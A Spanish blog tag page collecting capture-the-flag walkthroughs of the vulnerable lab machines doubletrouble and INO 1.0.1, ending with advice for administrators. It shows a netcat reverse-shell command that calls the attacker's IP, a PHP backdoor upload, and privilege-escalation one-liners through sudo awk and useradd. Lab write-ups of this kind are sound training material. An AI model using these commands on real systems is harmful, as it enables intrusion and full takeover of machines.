Etiqueta: Guía

Introducción

He querido continuar con esta serie de entradas resolviendo máquinas virtuales vulnerables, esta he que traído hoy, se llama doubletrouble y aunque tiene un nivel de dificultad bastante fácil, me ha gustado porque demuestra que cuando en un sistema hay presentes deficiencias de configuración y software desactualizado con vulnerabilidades, puede ser el desencadenante de una gran tragedia.

Reconocimiento

Como siempre, el objetivo de este tipo de máquinas vulnerables por defecto, es lograr comprometerla y obtener privilegios máximos en el sistema (root). y para empezar, haremos un escanneo a la red para encontrar la IP de la máquina víctima:

Con la IP de la máquina víctima, procedemos a revisar qué puertos tiene abiertos y comenzar a indagar un poco sobre el objetivo:

Encontramos dos puertos comunes abiertos en esta clase de máquinas, el 22, para conexiones SSH y el 80, que corresponde a un servicio web, entonces comencemos explorando por ahí.

En efecto nos presenta una página web, con un formulario de ingreso, y encontramos por varias partes “pdPM”, que posiblemente sea la aplicación instalada, con una pequeña búsqueda en google, comprobamos que es un gestor de proyectos web. Aprovechando que en la página de inicio nos muestran la versión instalada, es un buen momento para buscar vulnerabilidades de este software.

Como podemos ver, hay varios exploits interesantes, por ejemplo algunos nos permiten ejecución remota de comandos (RCE), pero necesitamos credenciales de acceso. También vemos que hay un exploit que nos permite ver las credenciales sin estar autenticados, sin embargo, las credenciales expuestas, no funcionan ni para acceder a la aplicación, ni para ingresar por SSH.

Aunque pareciera que estamos atascados, vamos a aplicar una enumeración de directorios sobre el servidor y revisar si hay alguna información o directorio que podamos utilizar.

Hay varios directorios bastante llamativos, por ejemplo, (y les adelanto), en el directorio “secret” hay una imagen, que contiene unas credenciales ocultas con esteganografía, que permite resolver el reto de manera mucho más fácil, sin embargo, aquí no hacemos eso.

El principio del fin

Así que nos centraremos en el directorio “install”, al acceder a el, veremos que nos permite realizar una nueva instalación del software, lo cual ya lo hace bastante peligroso.

Ahora tenemos que configurar la base de datos, intenté usar las credenciales expuestas pero, una vez más, no funcionaron, así que decidí crear un contenedor de docker con una imagen de mariadb.

Hecho esto, después de dar clic en “database config” podemos poner, tanto la IP del servidor (que es la misma IP del atacante), el puerto, que por defecto es 3306, el nombre de la base de datos y las credenciales que definimos al crear el contenedor, por último daremos clic en “install database”.

Finalizando la configuración, podremos poner las nuevas credenciales de acceso, he decidido dejar el usuario que pone por defecto y la contraseña “pwned”, el resto lo dejamos tal cual y finalizamos dando clic en “save”.

En resumen

Hasta el momento no hemos explotado ninguna vulnerabilidad de software, cambiamos la configuración del software para que apunte a una base de datos a una controlada por nostros y poder generar un usuario y contraseña válido de acceso al sistema, ¿para qué? ¡exactamente! poder usar los exploit de ejecución remota de comandos que nos pide autenticación. Esto lo hemos hecho aprovechando un error de configuración del administrador del sistema. Al finalizar la instalación e ingresar con el usuario y contraseña definida, vemos cómo hay una alerta que pide que sea borrado el directorio “install”, el administrador no ha hecho esto y es lo que nos permite ejecutar nuestro siguiente paso.

Explotando vulnerabilidades

Volviendo a la búsqueda de los exploits disponibles para el software qdpm he decidido usar y descargar el 50175

Antes de ejecutar el exploit, vale la pena revisar su código para entender un poco qué es lo que hace, en primera instancia, vemos que hay un campo vulnerable, es “photo”, y que allí cargará un archivo llamado “backdoor.php” y que a través del parámetro “cmd” en una petición get, ejecutará el comando que deseemos.

Nota: Otra de las razones para revisar el código, es que está desordenado y hay que corregir unos cuantos saltos de línea. (Y porque siempre es bueno revisar qué se está ejecutando, para no llevarse sorpresas de algún tipo 😉 )

En otra parte del código, veremos que la cuenta de administrador no servirá para explotar la vulnerabilidad, ya que no tiene una página denominada “my account”

Entonces procederemos a crear una nueva cuenta, daremos clic en “add user” y llenamos los campos necesarios, como contraseña he vuelto a elegir “pwned” y damos clic en save.

Nota: recuerden que reciclar contraseñas no es una buena práctica y que esto lo hago únicamente para efectos de demostración, por favor no lo intenten en casa 😉

Ejecutando el exploit vemos los argumentos que necesita para ejecutarse correctamente:

Entonces procederemos a completarlos y ejecutar el exploit:

Como vemos, nos dice que el exploit se ejecutó correctamente y aunque nos da una ruta para ejecutarlo, esta no es correcta, así que nos dirigiremos a http://10.0.2.22/uploads/users y veremos nuestro backdoor

Ahora ya podemos ejecutar comandos a través del parámetro “cmd”, por ejemplo:

Obteniendo una shell

Ahora que podemos ejecutar comandos, podemos obtener una shell reversa y así desplazarnos mejor por el sistema, comenzamos por poner abrir un puerto con netcat en la máquina atacante:

Desde el navegador iremos a la url http://10.0.2.22/uploads/users/387007-backdoor.php?cmd=nc%20-e%20/bin/sh%2010.0.2.15%20666 que nos entablará la conexión, volvemos a nuestra terminal y veremos esto

Haremos un tratamiento de la terminal para obtener una shell interactiva, no pulicaré imágenes, pero los pasos son los siguientes:

script /dev/null -c bash
presionar ctrl + z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Con esto obtendremos algo así:

Escalando privilegios

Como vemos, ya hemos ganado acceso a la máquina vulnerable, podemos ejecutar comandos y ahora nos queda convertirnos en superusuario (root), que es lo más fácil de todo este proceso. Podemos ejecutar el comando sudo -l para poder ver qué se puede ejecutar como root, veremos que podemos usar awk como superusuario y sin contraseña.

Así que podemos usar gtfobins para ver cómo podemos elevar privilegios con awk y encontramos el comando sudo awk 'BEGIN {system("/bin/sh")}' lo retocamos un poco, para poder usar bash y tendremos sudo awk 'BEGIN {system("/bin/bash")}', al ejecutarlo, veremos que ya somos root, con lo cual, habremos completado el desafío.

Conclusiones

Ha sido un largo camino, no tanto en la resolución de la máquina, pero sí en la redacción y posiblemente en la lectura, entonces no quiero extenderme más, pero hemos visto cómo un atacante mal intencionado podría afectar una empresa aprovechándose de software desactualizado, con vulnerabilidades o de errores de configuración, es importante seguir las recomendaciones que da el fabricante a la hora de implementar un nuevo software y realizar un constante monitoreo a vulnerabilidades conocidas o nuevas que se puedan presentar en los sistemas que se administran.

Espero que se hayan divertido o aprendido algo nuevo, nos vemos en la próxima entrada.

Bienvenidos a la segunda parte de este reto, en la primera parte, le dimos solución completa al reto, que consistía en encontrar las dos banderas, una como usuario normal y la siguiente como superusuario (root).

En esta segunda entrada, de manera breve, veremos un par de caminos alternos que se hubieran podido tomar para solucionar este reto.

En la aplicación web que encontramos en el servidor web, pudimos ingresar con el usuario y contraseña por defecto, aún así, realizando una búsqueda en exploit-db, encontramos que la aplicación tiene una vulnerabilidad de inyección SQL, que nos permite ingresar como administradores al panel de la aplicación.

Cuando buscaba la forma de elevar privilegios, encontré que en el servidor se corría otro sitio web, una aplicación llamada inoERP, que también tiene una vulnerabilidad crítica que permite ejecutar comandos y por la cuál también podríamos obtener una shell en el sistema.

Si se preguntan cómo era posible encontrar esto antes de ganar la shell por el método utilizado en la parte uno, la respuesta es sencilla, valiéndonos de esta falla de inyección SQL y explorando la base de datos, encontraremos la URL del sitio:

Por último, si se optara intentar la inyección SQL, se debe tener en cuenta que dentro de la máquina virtual se ejecuta la aplicación fail2ban que detectará el ataque y bloqueará la IP del atacante.

Y bien, con esto doy por cerrado completamente este ejercicio, si tienen alguna duda al respecto, dejen un comentario y lo revisaré lo más pronto posible. Gracias por llegar hasta acá y nos vemos pronto.

Introducción

En esta entrada daremos solución la máquina virtual INO 1.0.1 de vulnhub, esta es una máquina virtual de nivel fácil y el objetivo es encontrar las dos banderas, una de usuario y otra como superusuario (root). En esta entrada veremos el método que utilicé para completar los objetivos, revisando y analizando varios hallazgos, encontré que hay diferentes formas de cumplir el desafío, así que en otra publicación, revisaremos estos otros caminos y sin extendernos mucho, algunas fomas de abordarlos. Por ahora, comenzarmos con el desarrollo del ejercicio.

Conociendo al objetivo

Para empezar, debemos identificar la IP de la máquina, con nmap:

Ahora con la IP identificada, veremos qué servicios están corriendo sobre la máquina:

Como vemos, hay acceso por SSH y está corriendo un servidor web, así que vamos a ver qué contiene este último:

Podemos observar que es una especie de página web para hacer reservas de lotes, en la imagen he seleccionado algo me llamó la atención, que fue publicado por Sourcecodester, pensé que era una jugarreta del creador de la máquina para añadir algo de realismo al ejercicio, sin embargo decidí visitar la página y encontré que es un sitio que se dedica a compartir código de manera libre, así que pensé que podría bajarme el código y ver si podría encontrar alguna inyección SQL o vulnerabilidad que pudiera aprovechar, sin embargo encontré algo que me facilitó mucho más el trabajo, la URL del panel de administración y el usuario y contraseña por defecto del portal:

Con esa información en mente, quise probar que si funcionaban las credenciales por defecto, como ya lo había contado antes en esta historia, muchos administradores son descuidados y no cambian las contraseñas que vienen predefinidas de las aplicaciones que implementan y como se observa a continuación, funcionó a la perfección:

Ya hemos ganado acceso al panel de administración, pero hasta ahora vamos comenzando. Vayan alistando su café.

Preparativos

Para poder ganar acceso al servidor, usaremos una shell de conexión inversa, personalmente uso esta de pentestmonkey.net, sólo basta con editar los detalles de IP y puerto de conexión, tal como lo indican en su página web:

Por otro lado, en mi máquina, prepararemos el puerto de escucha por el cuál se hará la conexión:

Iniciando el ataque

Lo primero que debemos hacer es encontrar la forma de subir nuestra shell, explorando un poco encontré un escenario que me parece perfecto para esto:

En el caso ideal, este formulario debería poder filtrar el tipo de archivo que se está intentando subir (para que no ocurra lo que va a suceder a continuación) y que sólo permita subir imágenes, sin embargo eso no pasa y acá es donde aparecerá la magia:

Después de cargar la shell, se nos redirigirá al listado de casas modelo y todo se ve aparentemente normal, excepto porque donde escribí shell.php, es donde se ejecuta nuestra shell

Si nos devolvemos a la terminal que preparamos con el puerto 666 a la escucha, veremos que nuestra conexión está establecida con éxito: Como dirían en algunas películas con escenas de hackers: “estamos dentro”.

Antes de continuar, ejecutaremos un comando en python, para tener una shell interactiva:

Obteniendo la bandera de usuario

En la ruta /home/ppp encontramos un archivo llamado local.txt y su contenido es nuestra primera bandera, nada complicado.

Escalando privilegios

Esta parte fue bastante complicada y debo aceptar que logré resolverla por un golpe de suerte, buscando algún ejecutable con el cual pudiera elevar permisos, encontré que usan pppd para trabajar con el protocolo ppp:

Teniendo en cuenta esto, decidí revisar la configuración del demonio en la ruta /etc/ppp y ver si podía leer el archivo que tiene guardadas las credenciales de acceso:

Revisando el archivo chap-secrets tenemos la contraseña del usuario ppp, que coincide con uno de los usuarios que tienen acceso de shell:

Como ya vimos, este administrador del sistema no es muy riguroso con su política de contraseñas, entonces podríamos intentar iniciar sesión con esas credenciales.

Nota importante: al inicio del ejercicio la máquina virtual tenía la IP 192.168.0.130, pero en la imagen aparece la 192.168.0.9, esto pasa porque después de un reinicio de mi ordenador, las direcciones cambiaron.

Estamos próximos a terminar, desde esta sesión veremos si tenemos alguna forma de ejecutar comandos como sudo y en efecto, observamos que sin contraseña nos permite usar el comando useradd, que, como nos dicta la intuición, nos permite agregar un nuevo usuario al sistema:

Dando una mirada a al manual de useradd (man useradd) encontré las opciones que se necesitan para poder ejecutar el comando con éxito:

• -m para crear el directorio del usuario
• -g el grupo al que se va a añadir al usuario
• -p la contraseña (que ya debe venir cifrada con la función crypt)

Para poder cifrar la contraseña, como dice el manual, se debe usar la función crypt, para entender cómo funciona, me apoyé de este blog, la contraseña que hemos elegido para esta importante tarea de (in)seguridad será -irónicamente- la infame 12345678:

Ahora debemos revisar qué grupos hay disponibles, como vemos, nuestro nuevo usuario lo podemos agregar al grupo de usuarios de sudo. Ya podemos ir saboreando la victoria:

Últimos detalles

Agregaremos el usuario con los parámetros que ya hemos definido y después de ejecutar el comando confirmamos que nos haya quedado dentro de la lista de usuarios:

Nos cambiaremos de usuario, digitamos la contraseña y vemos que ya tenemos una sesión con nuestro usuario rebel:

Ahora, elevaremos permisos, digitamos la contraseña del usuario y el símbolo # nos indica que somos superusuarios. (root)

Obteniendo la bandera de root

En la ruta /root tenemos el archivo proof.txt que nos indica que hemos cumplido todos los objetivos de nuestro reto:

Conclusiones

No quiero extenderme mucho más, ha sido bastante largo de desarrollar, escribir y editar esta entrada, sin embargo, hemos podido ver los errores más comunes de un administrador de sistemas, los cuales pueden poner el peligro la seguridad no sólo de un sistema, sino de una red completa.

Nos vemos en la segunda parte de esta publicación, con las observaciones y algunas alternativas de solución de este reto. ¡Hasta la próxima!